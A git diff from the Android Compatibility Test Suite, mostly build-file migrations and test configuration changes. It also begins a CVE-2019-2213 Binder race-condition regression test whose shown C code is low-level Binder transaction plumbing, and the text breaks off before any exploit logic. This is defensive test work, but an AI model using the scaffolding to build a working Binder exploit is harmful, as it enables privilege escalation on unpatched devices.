diff --git a/tests/tests/opengl/src/android/opengl/cts/EglConfigTest.java b/tests/tests/opengl/src/android/opengl/cts/EglConfigTest.java
index 3e5565eb63b..49c086debe2 100644
--- a/tests/tests/opengl/src/android/opengl/cts/EglConfigTest.java
+++ b/tests/tests/opengl/src/android/opengl/cts/EglConfigTest.java
@@ -25,6 +25,7 @@ import androidx.test.InstrumentationRegistry;
import androidx.test.filters.LargeTest;
import androidx.test.rule.ActivityTestRule;
import androidx.test.runner.AndroidJUnit4;
+import android.support.test.uiautomator.UiDevice;
import org.junit.Before;
import org.junit.Rule;
@@ -77,6 +78,7 @@ public class EglConfigTest {
activity.waitToFinishDrawing();
// TODO(b/30948621): Remove the sleep below once b/30948621 is fixed.
Thread.sleep(500);
+ UiDevice.getInstance(mInstrumentation).pressHome();
activity.finish();
mInstrumentation.waitForIdleSync();
}
diff --git a/tests/tests/packageinstaller/atomicinstall/AndroidTest.xml b/tests/tests/packageinstaller/atomicinstall/AndroidTest.xml
index e248a62228f..5270823c3d2 100644
--- a/tests/tests/packageinstaller/atomicinstall/AndroidTest.xml
+++ b/tests/tests/packageinstaller/atomicinstall/AndroidTest.xml
@@ -19,6 +19,7 @@
<!-- Instant apps can't have INSTALL_PACKAGES permission. -->
<option name="config-descriptor:metadata" key="parameter" value="not_instant_app" />
<option name="config-descriptor:metadata" key="parameter" value="not_multi_abi" />
+ <option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
<target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
<option name="cleanup-apks" value="true" />
<option name="test-file-name" value="CtsAtomicInstallTestCases.apk" />
diff --git a/tests/tests/permission/src/android/permission/cts/TvPermissionTest.java b/tests/tests/permission/src/android/permission/cts/TvPermissionTest.java
index 41390591a39..6a3290f7bd6 100644
--- a/tests/tests/permission/src/android/permission/cts/TvPermissionTest.java
+++ b/tests/tests/permission/src/android/permission/cts/TvPermissionTest.java
@@ -20,6 +20,7 @@ import android.content.ContentValues;
import android.content.pm.PackageManager;
import android.media.tv.TvContract;
import android.net.Uri;
+import android.platform.test.annotations.AppModeFull;
import android.test.AndroidTestCase;
/**
@@ -71,31 +72,37 @@ public class TvPermissionTest extends AndroidTestCase {
}
}
+ @AppModeFull
public void testInsertChannels() throws Exception {
if (!mHasTvInputFramework) return;
verifyInsert(TvContract.Channels.CONTENT_URI, "channels");
}
+ @AppModeFull
public void testUpdateChannels() throws Exception {
if (!mHasTvInputFramework) return;
verifyUpdate(TvContract.Channels.CONTENT_URI, "channels");
}
+ @AppModeFull
public void testDeleteChannels() throws Exception {
if (!mHasTvInputFramework) return;
verifyDelete(TvContract.Channels.CONTENT_URI, "channels");
}
+ @AppModeFull
public void testInsertPrograms() throws Exception {
if (!mHasTvInputFramework) return;
verifyInsert(TvContract.Programs.CONTENT_URI, "programs");
}
+ @AppModeFull
public void testUpdatePrograms() throws Exception {
if (!mHasTvInputFramework) return;
verifyUpdate(TvContract.Programs.CONTENT_URI, "programs");
}
+ @AppModeFull
public void testDeletePrograms() throws Exception {
if (!mHasTvInputFramework) return;
verifyDelete(TvContract.Programs.CONTENT_URI, "programs");
diff --git a/tests/tests/renderscript/AndroidTest.xml b/tests/tests/renderscript/AndroidTest.xml
index 22a20cfd6fa..87ef08e73f5 100644
--- a/tests/tests/renderscript/AndroidTest.xml
+++ b/tests/tests/renderscript/AndroidTest.xml
@@ -18,6 +18,7 @@
<option name="config-descriptor:metadata" key="component" value="renderscript" />
<option name="config-descriptor:metadata" key="parameter" value="instant_app" />
<option name="config-descriptor:metadata" key="parameter" value="multi_abi" />
+ <option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
<target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
<option name="cleanup-apks" value="true" />
<option name="test-file-name" value="CtsRenderscriptTestCases.apk" />
diff --git a/tests/tests/renderscriptlegacy/AndroidTest.xml b/tests/tests/renderscriptlegacy/AndroidTest.xml
index affc8f72d38..33dff522995 100644
--- a/tests/tests/renderscriptlegacy/AndroidTest.xml
+++ b/tests/tests/renderscriptlegacy/AndroidTest.xml
@@ -18,6 +18,7 @@
<option name="config-descriptor:metadata" key="component" value="renderscript" />
<option name="config-descriptor:metadata" key="parameter" value="not_instant_app" />
<option name="config-descriptor:metadata" key="parameter" value="multi_abi" />
+ <option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
<target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
<option name="cleanup-apks" value="true" />
<option name="test-file-name" value="CtsRenderscriptLegacyTestCases.apk" />
diff --git a/tests/tests/resolverservice/AndroidTest.xml b/tests/tests/resolverservice/AndroidTest.xml
index ee0cc8c9e8c..fbd041daef8 100644
--- a/tests/tests/resolverservice/AndroidTest.xml
+++ b/tests/tests/resolverservice/AndroidTest.xml
@@ -22,6 +22,7 @@
<option name="config-descriptor:metadata" key="component" value="framework" />
<option name="config-descriptor:metadata" key="parameter" value="not_instant_app" />
<option name="config-descriptor:metadata" key="parameter" value="not_multi_abi" />
+ <option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
<target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
<option name="cleanup-apks" value="true" />
diff --git a/tests/tests/secure_element/Android.mk b/tests/tests/secure_element/Android.mk
deleted file mode 100644
index 5c7187ead31..00000000000
--- a/tests/tests/secure_element/Android.mk
+++ /dev/null
@@ -1,16 +0,0 @@
-# Copyright (C) 2018 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-# http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-include $(call all-subdir-makefiles)
-
diff --git a/tests/tests/secure_element/access_control/AccessControlApp1/Android.bp b/tests/tests/secure_element/access_control/AccessControlApp1/Android.bp
index ef5284b0806..41da980d604 100644
--- a/tests/tests/secure_element/access_control/AccessControlApp1/Android.bp
+++ b/tests/tests/secure_element/access_control/AccessControlApp1/Android.bp
@@ -17,3 +17,26 @@ android_test_import {
enabled: false,
},
}
+
+//#################################################################
+// Unsigned Package
+
+android_test_helper_app {
+ name: "CtsSecureElementAccessControlTestCases1",
+ defaults: ["cts_defaults"],
+ static_libs: [
+ "ctstestrunner-axt",
+ "compatibility-device-util-axt",
+ ],
+ srcs: ["src/**/*.java"],
+ libs: [
+ "android.test.runner",
+ "android.test.base",
+ ],
+ // Tag this module as a cts test artifact
+ test_suites: [
+ "cts",
+ "vts",
+ "general-tests",
+ ],
+}
diff --git a/tests/tests/secure_element/access_control/AccessControlApp1/Android.mk b/tests/tests/secure_element/access_control/AccessControlApp1/Android.mk
deleted file mode 100644
index feda0fd8047..00000000000
--- a/tests/tests/secure_element/access_control/AccessControlApp1/Android.mk
+++ /dev/null
@@ -1,37 +0,0 @@
-# Copyright (C) 2018 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-# http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH:= $(call my-dir)
-
-##################################################################
-# Unsigned Package
-
-include $(CLEAR_VARS)
-
-LOCAL_PACKAGE_NAME := CtsSecureElementAccessControlTestCases1
-# Don't include this package in any target.
-LOCAL_MODULE_TAGS := optional
-# When built, explicitly put it in the data partition.
-LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
-LOCAL_STATIC_JAVA_LIBRARIES := \
- ctstestrunner-axt \
- compatibility-device-util-axt
-LOCAL_SRC_FILES := $(call all-java-files-under, src)
-LOCAL_SDK_VERSION := current
-LOCAL_JAVA_LIBRARIES += android.test.runner
-LOCAL_JAVA_LIBRARIES += android.test.base
-# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
-
-include $(BUILD_CTS_PACKAGE)
diff --git a/tests/tests/secure_element/access_control/AccessControlApp2/Android.bp b/tests/tests/secure_element/access_control/AccessControlApp2/Android.bp
index 3cfeb552456..d8b0df3540d 100644
--- a/tests/tests/secure_element/access_control/AccessControlApp2/Android.bp
+++ b/tests/tests/secure_element/access_control/AccessControlApp2/Android.bp
@@ -17,3 +17,26 @@ android_test_import {
enabled: false,
},
}
+
+//#################################################################
+// Unsigned Package
+
+android_test_helper_app {
+ name: "CtsSecureElementAccessControlTestCases2",
+ defaults: ["cts_defaults"],
+ static_libs: [
+ "ctstestrunner-axt",
+ "compatibility-device-util-axt",
+ ],
+ srcs: ["src/**/*.java"],
+ libs: [
+ "android.test.runner",
+ "android.test.base",
+ ],
+ // Tag this module as a cts test artifact
+ test_suites: [
+ "cts",
+ "vts",
+ "general-tests",
+ ],
+}
diff --git a/tests/tests/secure_element/access_control/AccessControlApp2/Android.mk b/tests/tests/secure_element/access_control/AccessControlApp2/Android.mk
deleted file mode 100644
index 7c85540989b..00000000000
--- a/tests/tests/secure_element/access_control/AccessControlApp2/Android.mk
+++ /dev/null
@@ -1,37 +0,0 @@
-# Copyright (C) 2018 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-# http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH:= $(call my-dir)
-
-##################################################################
-# Unsigned Package
-
-include $(CLEAR_VARS)
-
-LOCAL_PACKAGE_NAME := CtsSecureElementAccessControlTestCases2
-# Don't include this package in any target.
-LOCAL_MODULE_TAGS := optional
-# When built, explicitly put it in the data partition.
-LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
-LOCAL_STATIC_JAVA_LIBRARIES := \
- ctstestrunner-axt \
- compatibility-device-util-axt
-LOCAL_SRC_FILES := $(call all-java-files-under, src)
-LOCAL_SDK_VERSION := current
-LOCAL_JAVA_LIBRARIES += android.test.runner
-LOCAL_JAVA_LIBRARIES += android.test.base
-# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
-
-include $(BUILD_CTS_PACKAGE)
diff --git a/tests/tests/secure_element/access_control/AccessControlApp3/Android.bp b/tests/tests/secure_element/access_control/AccessControlApp3/Android.bp
index 9225e5d8be0..2ab7b5b2518 100644
--- a/tests/tests/secure_element/access_control/AccessControlApp3/Android.bp
+++ b/tests/tests/secure_element/access_control/AccessControlApp3/Android.bp
@@ -17,3 +17,26 @@ android_test_import {
enabled: false,
},
}
+
+//#################################################################
+// Unsigned Package
+
+android_test_helper_app {
+ name: "CtsSecureElementAccessControlTestCases3",
+ defaults: ["cts_defaults"],
+ static_libs: [
+ "ctstestrunner-axt",
+ "compatibility-device-util-axt",
+ ],
+ srcs: ["src/**/*.java"],
+ libs: [
+ "android.test.runner",
+ "android.test.base",
+ ],
+ // Tag this module as a cts test artifact
+ test_suites: [
+ "cts",
+ "vts",
+ "general-tests",
+ ],
+}
diff --git a/tests/tests/secure_element/access_control/AccessControlApp3/Android.mk b/tests/tests/secure_element/access_control/AccessControlApp3/Android.mk
deleted file mode 100644
index 1520360b1d0..00000000000
--- a/tests/tests/secure_element/access_control/AccessControlApp3/Android.mk
+++ /dev/null
@@ -1,37 +0,0 @@
-# Copyright (C) 2018 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-# http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH:= $(call my-dir)
-
-##################################################################
-# Unsigned Package
-
-include $(CLEAR_VARS)
-
-LOCAL_PACKAGE_NAME := CtsSecureElementAccessControlTestCases3
-# Don't include this package in any target.
-LOCAL_MODULE_TAGS := optional
-# When built, explicitly put it in the data partition.
-LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
-LOCAL_STATIC_JAVA_LIBRARIES := \
- ctstestrunner-axt \
- compatibility-device-util-axt
-LOCAL_SRC_FILES := $(call all-java-files-under, src)
-LOCAL_SDK_VERSION := current
-LOCAL_JAVA_LIBRARIES += android.test.runner
-LOCAL_JAVA_LIBRARIES += android.test.base
-# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
-
-include $(BUILD_CTS_PACKAGE)
diff --git a/tests/tests/secure_element/access_control/Android.mk b/tests/tests/secure_element/access_control/Android.mk
deleted file mode 100644
index f776e484776..00000000000
--- a/tests/tests/secure_element/access_control/Android.mk
+++ /dev/null
@@ -1,20 +0,0 @@
-# Copyright (C) 2018 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-# http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-cts_out_dir := $(HOST_OUT)/cts/android-cts/testcases
-$(call dist-for-goals,cts,$(cts_out_dir)/CtsSecureElementAccessControlTestCases1.apk)
-$(call dist-for-goals,cts,$(cts_out_dir)/CtsSecureElementAccessControlTestCases2.apk)
-$(call dist-for-goals,cts,$(cts_out_dir)/CtsSecureElementAccessControlTestCases3.apk)
-include $(call all-subdir-makefiles)
-
diff --git a/tests/tests/secure_element/omapi/Android.bp b/tests/tests/secure_element/omapi/Android.bp
new file mode 100644
index 00000000000..a18aba15a6b
--- /dev/null
+++ b/tests/tests/secure_element/omapi/Android.bp
@@ -0,0 +1,34 @@
+// Copyright (C) 2018 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+// http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+android_test {
+ name: "CtsOmapiTestCases",
+ defaults: ["cts_defaults"],
+ static_libs: [
+ "ctstestrunner-axt",
+ "compatibility-device-util-axt",
+ ],
+ srcs: ["src/**/*.java"],
+ // was: sdk_version: "current",
+ libs: [
+ "android.test.runner",
+ "android.test.base",
+ ],
+ // Tag this module as a cts test artifact
+ test_suites: [
+ "cts",
+ "vts",
+ "general-tests",
+ ],
+}
diff --git a/tests/tests/secure_element/omapi/Android.mk b/tests/tests/secure_element/omapi/Android.mk
deleted file mode 100644
index 1ac37200b51..00000000000
--- a/tests/tests/secure_element/omapi/Android.mk
+++ /dev/null
@@ -1,40 +0,0 @@
-# Copyright (C) 2018 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-# http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH:= $(call my-dir)
-
-include $(CLEAR_VARS)
-
-LOCAL_PACKAGE_NAME := CtsOmapiTestCases
-
-# Don't include this package in any target.
-LOCAL_MODULE_TAGS := optional
-
-# When built, explicitly put it in the data partition.
-LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
-
-LOCAL_STATIC_JAVA_LIBRARIES := \
- ctstestrunner-axt \
- compatibility-device-util-axt
-
-LOCAL_SRC_FILES := $(call all-java-files-under, src)
-
-LOCAL_SDK_VERSION := current
-LOCAL_JAVA_LIBRARIES += android.test.runner
-LOCAL_JAVA_LIBRARIES += android.test.base
-
-# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
-
-include $(BUILD_CTS_PACKAGE)
diff --git a/tests/tests/security/Android.bp b/tests/tests/security/Android.bp
index b41f33d8fe4..5afe33c4ce6 100644
--- a/tests/tests/security/Android.bp
+++ b/tests/tests/security/Android.bp
@@ -43,6 +43,7 @@ android_test {
"libc++",
"libpcre2",
"libpackagelistparser",
+ "libcve_2019_2213_jni",
],
srcs: [
"src/**/*.java",
diff --git a/tests/tests/security/AndroidManifest.xml b/tests/tests/security/AndroidManifest.xml
index 5da74a86822..6eaaaa5c622 100644
--- a/tests/tests/security/AndroidManifest.xml
+++ b/tests/tests/security/AndroidManifest.xml
@@ -51,6 +51,15 @@
</activity>
<activity
+ android:name="android.security.cts.BinderExploitTest$CVE_2019_2213_Activity"
+ android:label="Test Binder Exploit Race Condition activity">
+ <intent-filter>
+ <action android:name="android.intent.action.MAIN" />
+ <category android:name="android.intent.category.LAUNCHER" />
+ </intent-filter>
+ </activity>
+
+ <activity
android:name="android.security.cts.NanoAppBundleTest$FailActivity"
android:label="Test Nano AppBundle customized failure catch activity">
<intent-filter>
diff --git a/tests/tests/security/aidl/android/security/cts/IBinderExchange.aidl b/tests/tests/security/aidl/android/security/cts/IBinderExchange.aidl
new file mode 100644
index 00000000000..1b6d7d9aa6d
--- /dev/null
+++ b/tests/tests/security/aidl/android/security/cts/IBinderExchange.aidl
@@ -0,0 +1,24 @@
+/*
+ * Copyright 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts;
+
+import android.os.IBinder;
+
+interface IBinderExchange {
+ void putBinder(in IBinder bnd);
+ IBinder getBinder();
+}
diff --git a/tests/tests/security/jni/Android.bp b/tests/tests/security/jni/Android.bp
index 27f6289a69a..b667f18252b 100644
--- a/tests/tests/security/jni/Android.bp
+++ b/tests/tests/security/jni/Android.bp
@@ -31,3 +31,25 @@ cc_library {
"libcutils",
],
}
+
+cc_library {
+ name: "libcve_2019_2213_jni",
+ srcs: [
+ "android_security_cts_cve_2019_2213_Test.c",
+ ],
+ shared_libs: [
+ "libnativehelper_compat_libc++",
+ ],
+ static_libs: [
+ "cpufeatures",
+ "libcutils",
+ ],
+ cflags: [
+ "-Werror",
+ "-Wpointer-arith",
+ "-Wno-unused-parameter",
+ "-Wno-sign-compare",
+ "-Wno-unused-label",
+ "-Wno-unused-variable",
+ ],
+}
diff --git a/tests/tests/security/jni/android_security_cts_cve_2019_2213_Test.c b/tests/tests/security/jni/android_security_cts_cve_2019_2213_Test.c
new file mode 100644
index 00000000000..90557a0134d
--- /dev/null
+++ b/tests/tests/security/jni/android_security_cts_cve_2019_2213_Test.c
@@ -0,0 +1,1911 @@
+/*
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+#define _GNU_SOURCE
+#include <sys/mman.h>
+#include <sys/types.h>
+#include <sys/stat.h>
+#include <sys/socket.h>
+#include <sys/un.h>
+#include <sys/prctl.h>
+
+#include <stdio.h>
+#include <stdlib.h>
+#include <string.h>
+#include <syscall.h>
+#include <pthread.h>
+#include <dirent.h>
+#include <unistd.h>
+#include <fcntl.h>
+#include <errno.h>
+#include <sched.h>
+#include <poll.h>
+#include <elf.h>
+
+#include <cutils/log.h>
+#include <cutils/properties.h>
+#include <jni.h>
+#include <linux/android/binder.h>
+#include <cpu-features.h>
+
+#include "../../../../hostsidetests/securitybulletin/securityPatch/includes/common.h"
+
+typedef uint8_t u8;
+typedef uint16_t u16;
+typedef uint32_t u32;
+typedef uint64_t u64;
+typedef int64_t s64;
+
+jobject this;
+jmethodID add_log;
+JavaVM *jvm;
+
+#define MAX_THREADS 10
+
+struct tid_jenv {
+ int tid;
+ JNIEnv *env;
+};
+struct tid_jenv tid_jenvs[MAX_THREADS];
+int num_threads;
+
+int gettid() {
+ return (int)syscall(SYS_gettid);
+}
+
+void fail(char *msg, ...);
+
+void add_jenv(JNIEnv *e) {
+ if (num_threads >= MAX_THREADS) {
+ fail("too many threads");
+ return;
+ }
+ struct tid_jenv *te = &tid_jenvs[num_threads++];
+ te->tid = gettid();
+ te->env = e;
+}
+
+JNIEnv *get_jenv() {
+ int tid = gettid();
+ for (int i = 0; i < num_threads; i++) {
+ struct tid_jenv *te = &tid_jenvs[i];
+ if (te->tid == tid)
+ return te->env;
+ }
+ return NULL;
+}
+
+void jni_attach_thread() {
+ JNIEnv *env;
+ (*jvm)->AttachCurrentThread(jvm, &env, NULL);
+ add_jenv(env);
+}
+
+pthread_mutex_t log_mut = PTHREAD_MUTEX_INITIALIZER;
+pthread_cond_t log_pending = PTHREAD_COND_INITIALIZER;
+pthread_cond_t log_done = PTHREAD_COND_INITIALIZER;
+volatile char *log_line;
+
+void send_log_thread(char *msg) {
+ pthread_mutex_lock(&log_mut);
+ while (log_line)
+ pthread_cond_wait(&log_done, &log_mut);
+ log_line = msg;
+ pthread_cond_signal(&log_pending);
+ pthread_mutex_unlock(&log_mut);
+}
+
+void dbg(char *msg, ...);
+
+void log_thread(u64 arg) {
+ while (1) {
+ pthread_mutex_lock(&log_mut);
+ while (!log_line)
+ pthread_cond_wait(&log_pending, &log_mut);
+ dbg("%s", log_line);
+ free((void*)log_line);
+ log_line = NULL;
+ pthread_cond_signal(&log_done);
+ pthread_mutex_unlock(&log_mut);
+ }
+}
+
+void dbg(char *msg, ...) {
+ char *line;
+ va_list va;
+ JNIEnv *env = get_jenv();
+ va_start(va, msg);
+ if (vasprintf(&line, msg, va) >= 0) {
+ if (env) {
+ jstring jline = (*env)->NewStringUTF(env, line);
+ (*env)->CallVoidMethod(env, this, add_log, jline);
+ free(line);
+ } else {
+ send_log_thread(line);
+ }
+ }
+ va_end(va);
+}
+
+void fail(char *msg, ...) {
+ char *line;
+ va_list va;
+ va_start(va, msg);
+ if (vasprintf(&line, msg, va) >= 0)
+ dbg("FAIL: %s (errno=%d)", line, errno);
+ va_end(va);
+}
+
+struct buffer {
+ char *p;
+ u32 size;
+ u32 off;
+};
+
+typedef struct buffer buf_t;
+
+struct parser {
+ u8 *buf;
+ u8 *p;
+ u32 size;
+};
+
+typedef struct parser parser_t;
+
+parser_t *new_parser() {
+ parser_t *ret = malloc(sizeof(parser_t));
+ ret->size = 0x400;
+ ret->buf = ret->p = malloc(ret->size);
+ return ret;
+}
+
+void free_parser(parser_t *parser) {
+ free(parser->buf);
+ free(parser);
+}
+
+int parser_end(parser_t *p) {
+ return !p->size;
+}
+
+void *parser_get(parser_t *p, u32 sz) {
+ if (sz > p->size) {
+ fail("parser size exceeded");
+ return NULL;
+ }
+ p->size -= sz;
+ u8 *ret = p->p;
+ p->p += sz;
+ return ret;
+}
+
+u32 parse_u32(parser_t *p) {
+ u32 *pu32 = parser_get(p, sizeof(u32));
+ return (pu32 == NULL) ? (u32)-1 : *pu32;
+}
+
+buf_t *new_buf_sz(u32 sz) {
+ buf_t *b = malloc(sizeof(buf_t));
+ b->size = sz;
+ b->off = 0;
+ b->p = malloc(sz);
+ return b;
+}
+
+buf_t *new_buf() {
+ return new_buf_sz(0x200);
+}
+
+void free_buf(buf_t *buf) {
+ free(buf->p);
+ free(buf);
+}
+
+void *buf_alloc(buf_t *b, u32 s) {
+ s = (s + 3) & ~3;
+ if (b->size - b->off < s)
+ fail("out of buf space");
+ char *ret = b->p + b->off;
+ b->off += s;
+ memset(ret, 0x00, s);
+ return ret;
+}
+
+void buf_u32(buf_t *b, u32 v) {
+ char *p = buf_alloc(b, sizeof(u32));
+ *(u32*)p = v;
+}
+
+void buf_u64(buf_t *b, u64 v) {
+ char *p = buf_alloc(b, sizeof(u64));
+ *(u64*)p = v;
+}
+
+void buf_uintptr(buf_t *b, u64 v) {
+ char *p = buf_alloc(b, sizeof(u64));
+ *(u64*)p = v;
+}
+
+void buf_str16(buf_t *b, const char *s) {
+ if (!s) {
+ buf_u32(b, 0xffffffff);
+ return;
+ }
+ u32 len = strlen(s);
+ buf_u32(b, len);
+ u16 *dst = (u16*)buf_alloc(b, (len + 1) * 2);
+ for (u32 i = 0; i < len; i++)
+ dst[i] = s[i];
+ dst[len] = 0;
+}
+
+void buf_binder(buf_t *b, buf_t *off, void *ptr) {
+ buf_u64(off, b->off);
+ struct flat_binder_object *fp = buf_alloc(b, sizeof(*fp));
+ fp->hdr.type = BINDER_TYPE_BINDER;
+ fp->flags = FLAT_BINDER_FLAG_ACCEPTS_FDS;
+ fp->binder = (u64)ptr;
+ fp->cookie = 0;
+}
+
+static inline void binder_write(int fd, buf_t *buf);
+
+void enter_looper(int fd) {
+ buf_t *buf = new_buf();
+ buf_u32(buf, BC_ENTER_LOOPER);
+ binder_write(fd, buf);
+}
+
+void init_binder(int fd) {
+ void *map_ret = mmap(NULL, 0x200000, PROT_READ, MAP_PRIVATE, fd, 0);
+ if (map_ret == MAP_FAILED)
+ fail("map fail");
+ enter_looper(fd);
+}
+
+int open_binder() {
+ int fd = open("/dev/binder", O_RDONLY);
+ if (fd < 0)
+ fail("open binder fail");
+ init_binder(fd);
+ return fd;
+}
+
+static inline void binder_rw(int fd, void *rbuf, u32 rsize,
+ void *wbuf, u32 wsize, u32 *read_consumed, u32 *write_consumed) {
+ struct binder_write_read bwr;
+ memset(&bwr, 0x00, sizeof(bwr));
+ bwr.read_buffer = (u64)rbuf;
+ bwr.read_size = rsize;
+ bwr.write_buffer = (u64)wbuf;
+ bwr.write_size = wsize;
+ if (ioctl(fd, BINDER_WRITE_READ, &bwr) < 0)
+ fail("binder ioctl fail");
+ if (read_consumed)
+ *read_consumed = bwr.read_consumed;
+ if (write_consumed)
+ *write_consumed = bwr.write_consumed;
+}
+
+void binder_read(int fd, void *rbuf, u32 rsize, u32 *read_consumed) {
+ binder_rw(fd, rbuf, rsize, 0, 0, read_consumed, NULL);
+}
+
+static inline void binder_write(int fd, buf_t *buf) {
+ u32 write_consumed;
+ binder_rw(fd, 0, 0, buf->p, buf->off, NULL, &write_consumed);
+ if (write_consumed != buf->off)
+ fail("binder write fail");
+ free_buf(buf);
+}
+
+void do_send_txn(int fd, u32 to, u32 code, buf_t *trdat, buf_t *troff, int oneway, int is_reply, binder_size_t extra_sz) {
+ buf_t *buf = new_buf();
+ buf_u32(buf, is_reply ? BC_REPLY_SG : BC_TRANSACTION_SG);
+ struct binder_transaction_data_sg *tr;
+ tr = buf_alloc(buf, sizeof(*tr));
+ struct binder_transaction_data *trd = &tr->transaction_data;
+ trd->target.handle = to;
+ trd->code = code;
+ if (oneway)
+ trd->flags |= TF_ONE_WAY;
+ trd->data.ptr.buffer = trdat ? (u64)trdat->p : 0;
+ trd->data.ptr.offsets = troff ? (u64)troff->p : 0;
+ trd->data_size = trdat ? trdat->off : 0;
+ trd->offsets_size = troff ? troff->off : 0;
+ tr->buffers_size = extra_sz;
+ binder_write(fd, buf);
+ if (trdat)
+ free_buf(trdat);
+ if (troff)
+ free_buf(troff);
+}
+
+void send_txn(int fd, u32 to, u32 code, buf_t *trdat, buf_t *troff) {
+ do_send_txn(fd, to, code, trdat, troff, 0, 0, 0);
+}
+
+void send_reply(int fd) {
+ do_send_txn(fd, 0, 0, NULL, NULL, 0, 1, 0);
+}
+
+static inline void chg_ref(int fd, unsigned desc, u32 cmd) {
+ buf_t *buf = new_buf();
+ buf_u32(buf, cmd);
+ buf_u32(buf, desc);
+ binder_write(fd, buf);
+}
+
+void inc_ref(int fd, unsigned desc) {
+ chg_ref(fd, desc, BC_ACQUIRE);
+}
+
+void dec_ref(int fd, unsigned desc) {
+ chg_ref(fd, desc, BC_RELEASE);
+}
+
+static inline void free_buffer(int fd, u64 ptr) {
+ buf_t *buf = new_buf();
+ buf_u32(buf, BC_FREE_BUFFER);
+ buf_uintptr(buf, ptr);
+ binder_write(fd, buf);
+}
+
+typedef struct {
+ int fd;
+ char *buf;
+ binder_size_t size;
+ binder_size_t parsed;
+ binder_size_t *offsets;
+ binder_size_t num_offsets;
+ u32 code;
+ u64 ptr;
+} txn_t;
+
+void *txn_get(txn_t *t, u32 sz) {
+ sz = (sz + 3) & ~3u;
+ if (sz > t->size - t->parsed)
+ fail("txn get not enough data");
+ char *ret = t->buf + t->parsed;
+ t->parsed += sz;
+ return ret;
+}
+
